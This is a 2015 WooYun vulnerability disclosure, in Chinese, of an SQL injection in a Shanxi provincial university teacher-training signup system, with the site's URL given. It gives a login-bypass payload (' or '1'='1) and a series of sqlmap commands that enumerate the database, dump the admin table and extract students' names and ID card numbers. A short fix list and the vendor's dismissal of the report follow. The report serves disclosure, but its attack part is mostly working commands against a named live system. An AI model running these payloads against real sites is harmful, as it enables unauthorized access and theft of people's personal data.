当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0139626

漏洞标题：山西省高校教师岗前培训报名系统SQL注入漏洞

相关厂商：CCERT教育网应急响应组

漏洞作者： 小花猪Python

提交时间：2015-09-08 12:42

修复时间：2015-09-13 12:44

公开时间：2015-09-13 12:44

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：10

漏洞状态：已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-09-08： 细节已通知厂商并且等待厂商处理中
2015-09-13： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

山西省高校教师岗前培训报名系统存在SQL注入漏洞，可泄漏大量人员信息

详细说明：

山西省高校教师岗前培训报名系统存在SQL注入漏洞，可以泄露大量人员信息。系统URL为

http://sxspzx.sxu.edu.cn/signup/login.htm

需要在IE浏览器中打开，

28.png


在此登陆界面处，用户名与密码均输入' or '1'='1可成功登陆，登陆后可以进行培训补考证打印，泄露个人信息

29.png

对登陆过程抓包并用sqlmap测试发现sql注入

sqlmap.py -r post.txt --time-sec=20

21.png

漏洞证明：

1）获取当前数据库与用户

sqlmap.py -r post.txt --time-sec=20 --current-user --current-db

23.png

2）获取数据库SPZX的表信息

sqlmap.py -r post.txt --time-sec=20 -D SPZX --tables

24.png

3）获取表admin的数据

sqlmap.py -r post.txt --time-sec=20 -D SPZX -T admin --dump

26.png

4）获取表student_signup前10行的部分列数据，包含身份证等敏感信息

sqlmap.py -r post.txt --time-sec=20 -D SPZX -T student_signup -C "student_id,student_name,student_identifycard" --dump --start 1 --stop 10

30.png

修复方案：

1）完善代码，过滤用户输入
2）部署WAF

版权声明：转载请注明来源 小花猪Python@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-09-13 12:44

厂商回复：

最新状态：

暂无